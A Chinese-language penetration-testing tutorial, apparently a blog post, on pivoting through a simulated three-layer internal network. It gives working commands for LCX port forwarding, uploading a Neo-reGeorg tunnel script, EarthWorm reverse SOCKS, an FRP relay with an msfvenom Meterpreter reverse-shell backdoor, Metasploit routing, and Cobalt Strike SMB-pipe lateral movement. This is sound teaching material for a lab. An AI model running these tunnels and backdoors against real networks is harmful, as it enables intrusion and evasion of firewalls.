内网隧道与代理实战博客

在渗透测试的内网阶段,我们常常会遇到这样的困境:拿下了边界主机的权限,却发现它背后是层层隔离的内网环境 ------ 不同网段的主机无法直接访问,防火墙严格限制了端口通信,常规的攻击手段根本无法施展。

这时候,代理与隧道技术就成了我们打通内网的 "钥匙",通过它们,我们可以把边界主机变成跳板,穿透网络隔离,一步步深入内网。本文将从核心概念讲起,带你搭建模拟靶场,实战掌握各类主流的内网代理隧道工具。


一、核心概念:搞懂代理与隧道的本质

很多人刚接触内网渗透时,总会搞混代理、隧道、正向 / 反向连接这些概念,我们用最通俗的话来解释清楚:

1.1 代理 vs 隧道

  • 代理:可以理解为 "跳板机"。如果 A(攻击机)和 C(内网目标)网络不通,但是 A 能和 B(边界主机)通信,B 能和 C 通信,那么 A 就可以让 B 帮忙转发流量,实现和 C 的通信。代理的核心是 "转发请求",它可以对请求做缓存、过滤等处理。

  • 隧道:解决的是 "协议被拦截" 的问题。如果 A 和 C 的通信被防火墙限制了,比如防火墙不让非 HTTP 的流量出去,那么隧道就可以把我们的原始流量加密、封装成防火墙允许的协议流量(比如 HTTP、SMB),穿过防火墙之后再解封,相当于在防火墙的规则里开了一条 "秘密通道"。

简单来说:代理解决的是 "能不能通" 的问题,隧道解决的是 "通了之后怎么绕过检测" 的问题。

1.2 正向连接 vs 反向连接

根据连接的方向,我们把代理分为两种:

  • 正向连接:攻击者主动连接目标服务器。当目标有公网 IP,能被我们直接访问的时候用这种方式。

  • 反向连接:攻击者开启服务,让目标服务器主动来连接我们。当目标没有公网 IP,我们无法主动连接它的时候,就用这种方式,让目标主动 "找上门来"。

1.3 端口转发

端口转发就是把一个端口收到的流量,原封不动转发到另一个端口。比如防火墙拦截了 3389 端口的流量,我们就可以把 3389 的流量转发到 80 端口,而 80 端口是防火墙允许的,这样就绕过了检测。


二、搭建模拟内网靶场

为了模拟真实的内网渗透场景,我们搭建了一个三层隔离的内网环境,完美还原了企业内网的网段隔离、防火墙限制的场景,网络拓扑如下:

整个环境包含三台主机,配置如下:

2.1 Windows 2003(边界主机)

这是我们已经拿下权限的边界主机,是我们进入内网的入口:

  • 双网卡配置:

    • 公网网卡:NAT 模式,IP:10\.0\.0\.129,可以正常访问互联网,能被攻击机直接访问

    • 内网网卡:LAN 区段,IP:10\.10\.10\.10,属于10\.10\.10\.0/24内网网段,和内网的 Win7 主机通信

  • 服务配置:开启了 IIS 和 phpstudy,搭建了 Web 服务,模拟企业的边界 Web 服务器。

2.2 Windows 7(内网跳板主机)

这是内网的第一层主机,位于边界主机和核心主机之间:

  • 双网卡配置:

    • 网卡 1:LAN 区段一,IP:10\.10\.10\.110,和 2003 的内网网卡同网段,能和 2003 通信

    • 网卡 2:LAN 区段二,IP:20\.20\.20\.20,属于20\.20\.20\.0/24网段,和核心的 Win10 主机通信

  • 防火墙规则:严格限制入站流量,只允许 80 端口的 HTTP 流量,其他所有端口的入站连接全部阻断。

2.3 Windows 10(内网目标主机)

这是我们的最终目标,位于内网最深处:

  • 单网卡配置:IP:20\.20\.20\.200,和 Win7 的第二个网卡同网段,只能和 Win7 通信

  • 防火墙规则:同样严格限制入站流量,只允许 445 端口的 SMB 流量,其他端口全部阻断。

这个环境的特点是:攻击机(Kali)只能直接访问到 Windows2003 的公网 IP,完全无法直接访问 Win7 和 Win10,而且内网的防火墙层层限制,这就是我们要突破的场景。


三、实战:各类代理隧道工具的使用

接下来我们就从最简单的端口转发,到复杂的 SMB 隧道,一步步实战各类工具,打通整个内网。

3.1 LCX 端口转发:最基础的端口映射

LCX 是一款经典的端口转发工具,适合最基础的场景:把内网主机的某个端口,转发到公网,让我们可以访问到它,比如我们要访问内网主机的 3389 远程桌面,就可以用它。

操作步骤:
  1. 开启目标的 3389 服务 首先我们需要在目标主机开启远程桌面服务,用 MSF 的模块可以一键开启:
复制代码
# 新版Kali的MSF命令,开启目标的RD服务
run post/windows/manage/enable_rdp
  1. 攻击机监听端口 在我们的攻击机上运行 LCX,监听本地的 2222 端口,把收到的流量转发到本地的 1234 端口:
复制代码
lcx.exe -listen 2222 1234
  1. 目标主机转发流量 在 Windows2003 的 Webshell 上执行 LCX,把目标自己的 3389 端口的流量,转发到攻击机的 2222 端口:
复制代码
lcx.exe -slave 攻击机ip 2222 127.0.0.1 3389

操作的效果如下:

  1. 连接目标 现在我们打开远程桌面连接,直接连接本地的127\.0\.0\.1:1234,输入目标的管理员账号密码,就可以成功登录到 Windows2003 的远程桌面了!

这种方式的好处是,我们把 3389 这个敏感端口的流量,转发到了不被防火墙监控的端口,完美绕过了防护设备的检测,让渗透更加隐秘。


3.2 reGeorg+Proxifier:HTTP 隧道打穿内网

如果防火墙只允许 HTTP 流量,其他的 TCP 流量都被拦截了,那 LCX 就没用了,这时候我们就需要用 HTTP 隧道,把我们的 Socks 代理流量封装成 HTTP 请求,穿过防火墙。

reGeorg 就是这样一款工具,它可以把 Web 服务变成我们的隧道入口,把所有流量都伪装成 HTTP 请求,绕过防火墙的限制。

操作步骤:
  1. 生成隧道脚本 在攻击机上,运行 reGeorg 的脚本,生成我们需要的隧道文件:
复制代码
python neoreg.py generate -k 111

执行后会生成neoreg\_servers文件夹,里面有tunnel\.php这个脚本文件。

  1. 上传并验证脚本 把这个脚本上传到 Windows2003 的 Web 目录下,比如我们的 phpstudy 的 pikachu 目录下,然后访问这个脚本的地址:
复制代码
http://10.0.0.129:90/pikachu/tunnel.php

如果页面是空白的,右键查看源码,能看到一串随机的数字,就说明脚本正常工作了。

  1. 启动隧道客户端 在攻击机上启动隧道客户端,连接我们上传的脚本:
复制代码
python neoreg.py -k 111 -u http://10.0.0.129:90/pikachu/tunnel.php

启动成功后,我们的本地就会开启一个 1080 端口的 Socks 代理。

  1. 配置代理访问内网 打开 Proxifier 代理工具,添加本地的 Socks5 代理:127\.0\.0\.1:1080,这样我们的所有流量就会通过这个 HTTP 隧道,转发到内网。

现在,我们直接在浏览器访问10\.10\.10\.10,就可以成功访问到 Windows2003 的内网 Web 服务了,之前我们是完全访问不了的!


3.3 EW(毒液):多级代理神器

EW(EarthWorm,俗称 "毒液")是红队非常常用的一款内网代理工具,它支持正向、反向代理,还可以实现多级代理,也就是可以通过多个跳板主机转发流量,非常适合复杂的多层内网环境。

3.3.1 正向代理

当目标主机的 IP 可以被我们直接访问的时候,我们用正向代理:

  1. 在目标主机 Windows2003 上运行 EW,开启 socks 代理,监听 1080 端口:
复制代码
ew.exe -s ssocksd -l 1080
  1. 然后在我们的 Proxifier 里添加代理,地址是 Windows2003 的公网 IP10\.0\.0\.129,端口 1080,就可以直接访问内网了。
3.3.2 反向代理

如果目标主机是内网,我们无法主动连接它,就用反向代理,让目标主动来连接我们:

  1. 首先在攻击机上运行 EW,监听本地的 1080 端口,同时开放 888 端口等待目标连接:
复制代码
ew.exe -s rcsocks -l 1080 -e 888
  1. 然后在目标主机 Windows2003 上运行 EW,主动连接攻击机的 888 端口:
复制代码
ew.exe -s rssocks -d 10.0.0.1 -e 888
  1. 连接成功后,我们在 Proxifier 里添加本地的127\.0\.0\.1:1080的代理,就可以了。目标主机会主动把内网的流量转发到我们的攻击机,我们就可以访问内网了。

3.4 FRP:开源的内网穿透神器

FRP(Fast Reverse Proxy)是现在最流行的开源内网穿透工具,基于 Go 语言开发,支持 TCP、UDP、HTTP、HTTPS 等多种协议,性能非常好,不仅可以用来把内网服务暴露到公网,在渗透测试里也是非常常用的隧道工具。

它的原理是通过一台有公网 IP 的服务器做中转,把内网的流量转发到我们的攻击机,架构如下:

操作步骤:
  1. 公网服务器配置 FRP 服务端 我们需要一台有公网 IP 的服务器(比如阿里云、腾讯云的服务器),用来做中转:
  • 下载 FRP 的最新 release 包,解压到公网服务器

  • 配置服务端的配置文件frps\.toml

复制代码
bindPort = 5000
  • 运行服务端:
复制代码
./frps -c frps.toml

记得在云服务器的安全组里放行 5000 端口。

  1. 攻击机配置 FRP 客户端 在我们的 Kali 攻击机上,同样下载 FRP,配置客户端的frpc\.toml
复制代码
serverAddr = "你的公网服务器IP"
serverPort = 5000
​
[[proxies]]
name = "test-tcp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 5566
remotePort = 8888

这个配置的意思是:把公网服务器的 8888 端口收到的流量,全部转发到攻击机的 5566 端口。 然后运行客户端:

复制代码
./frpc -c frpc.toml
  1. 生成后门,让目标上线 现在我们用 MSF 生成后门,这个后门的连接地址是公网服务器的 IP 和 8888 端口,因为目标主机可以访问公网:
复制代码
msfvenom -p windows/meterpreter/reverse_tcp lhost=公网服务器IP lport=8888 -f exe -o frp.exe

把这个后门传到目标主机运行,然后我们在攻击机上用 MSF 监听本地的 5566 端口:

复制代码
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 5566
run

整个流量的逻辑链是: 受害者主机 \-\> 公网FRP服务端 \-\> 攻击机的MSF 完美绕过了内网的所有限制,目标主机的流量通过公网服务器的中转,成功到达了我们的攻击机!


3.5 MSF 自带代理:免工具的端口转发

很多时候,我们上传的第三方工具会被杀毒软件查杀,这时候我们就可以用 MSF 自带的代理功能,不需要上传任何额外的工具,就可以实现内网代理,非常隐蔽。

操作步骤:
  1. 首先,我们已经拿到了 Windows2003 的 Meterpreter 会话。

  2. 添加内网路由 让 MSF 知道,要访问10\.10\.10\.020\.20\.20\.0这些内网网段,要通过当前的这个会话:

复制代码
# 添加内网路由
run post/multi/manage/autoroute
# 查看路由是否添加成功
run autoroute -p
  1. 开启 Socks 代理 把当前的会话放到后台,然后开启 MSF 的 Socks 代理服务:
复制代码
# 把会话放到后台
background
# 搜索socks代理模块
search socks
# 选择socks代理模块
use auxiliary/server/socks_proxy
# 启动代理服务
run
  1. 配置代理访问内网 同样,在 Proxifier 里添加本地的127\.0\.0\.1:1080的 Socks 代理,现在我们的攻击机的所有流量,就可以通过 MSF 的会话,转发到内网,直接访问内网的主机了!

3.6 CS 代理与隧道:红队的内网渗透利器

Cobalt Strike(简称 CS)是红队最常用的后渗透工具,它的代理和隧道功能非常强大,不仅可以做基础的 Socks 代理,还可以实现 SMB 隧道,帮我们突破最严格的防火墙限制。

3.6.1 CS 的 Socks 代理

首先,当 Windows2003 的 Beacon 上线之后,我们就可以快速开启 Socks 代理:

  1. 在 CS 的会话列表里,选中 2003 的会话,右键 -> 代理转发 ->Socks 代理,设置一个代理端口,比如 1080。

  2. 然后在 Proxifier 里添加代理,地址是127\.0\.0\.1:1080,就可以直接访问内网了,非常方便。

3.6.2 突破防火墙:让 Win7 上线

现在我们要拿下内网的 Win7 主机,但是 Win7 的防火墙只允许 80 端口的入站流量,我们如果生成一个常规的 TCP 后门,用 2222 端口,那么 Win7 的防火墙会直接拦截这个入站连接,后门根本无法上线。

这时候我们就用反向连接,把入站流量变成出站流量,绕过防火墙的入站规则:

  1. 在 CS 里,选中 2003 的会话,右键 -> 代理转发 -> 转发上线,填写 Win7 的内网 IP10\.10\.10\.110,端口 2222。

  2. 然后生成针对这个转发的后门,传到 Win7 上运行。

这时候,Win7 的后门会主动向 2003 的 2222 端口发起连接,这是出站流量,Win7 的防火墙不会拦截出站的 80 端口?不对,是出站流量默认是允许的,而入站才会被拦截,所以这个连接可以成功建立,然后 2003 再把这个流量转发给我们的 CS 服务器,Win7 就成功上线了!

3.6.3 SMB 隧道:突破最后的 Win10 防火墙

现在到了最内层的 Win10 主机,这时候我们遇到了更麻烦的情况:

  • Win10 的防火墙只允许 445 端口的入站流量

  • Win7 和 Win10 之间,不管是正向的 TCP 连接,还是反向的 TCP 连接,都被两个主机的防火墙拦截了

这时候,常规的 TCP 隧道已经没用了,我们就需要用SMB 隧道

SMB 隧道是通过 SMB 协议的命名管道来通信的,而 445 是 SMB 协议的默认端口,两个主机的防火墙都允许这个端口的流量,所以我们可以用它来穿透:

  1. 在 CS 里,新建一个 SMB 类型的监听器,端口随便填,比如 3333。

  2. 然后,我们用已经拿到的 Win7 的凭据,通过横向移动(比如 psexec),登录到 Win10 主机,把 Beacon 传上去。

  3. Win10 的 Beacon 上线之后,它不会用 TCP 来通信,而是通过 SMB 的命名管道,把流量发给 Win7 的 Beacon,然后 Win7 再把流量转发给外层的 2003 的 Beacon,最后转发到我们的 CS 服务器。

整个过程的流量,全部都是通过 445 端口的 SMB 协议传输的,完美绕过了两个主机的防火墙,Win10 成功上线,我们终于打通了整个内网!


四、总结

内网渗透的过程,其实就是不断突破网络隔离的过程,不同的场景下,我们需要选择不同的代理隧道工具:

  • 如果只是简单的转发单个端口,用 LCX 就足够了;

  • 如果防火墙只允许 HTTP 流量,用 reGeorg 的 HTTP 隧道来封装流量;

  • 如果是复杂的多层内网,需要多级跳板,EW 的多级代理非常好用;

  • 如果有公网服务器,FRP 的性能和稳定性都是顶级的,是内网穿透的首选;

  • 如果怕第三方工具被查杀,MSF 自带的代理功能可以帮你免工具实现代理;

  • 如果是红队实战,CS 的 SMB 隧道可以帮你突破最严格的防火墙,打通最深层的内网。

掌握了这些技术,你就可以在层层隔离的内网里畅通无阻,一步步拿下所有的目标,完成整个内网渗透的流程。

相关推荐
梧六柒5 小时前
2-文件类型绕过
网络安全
2301_780789666 小时前
“数字珍珠港”再现:西北能源基地DNS篡改事件深度复盘与防护升级
运维·服务器·网络·tcp/ip·网络安全·智能路由器·能源
柠檬威士忌98511 小时前
2026-05-12 AI前沿日报:GPT-5.5-Cyber、预发布评测与AI科研加速
网络安全·大模型·openai·deepmind
m0_7381207213 小时前
ctfshow靶场SSRF部分——基础绕过到协议攻击解题思路与技巧(二)
python·网络协议·tcp/ip·安全·网络安全
Ogcloud_oversea14 小时前
SD-WAN 技术架构解析:控制平面与数据平面的解耦实践
运维·网络·网络协议·网络安全·信息与通信
small_white_robot14 小时前
idek-2022 web 全wp——持续更新
开发语言·前端·javascript·网络·安全·web安全·网络安全
梧六柒16 小时前
3 || 4-黑名单绕过
网络安全
路baby16 小时前
CSRF漏洞详细讲解 并基于pikachu靶场实战演示
网络·网络协议·安全·web安全·网络安全·网络攻击模型·csrf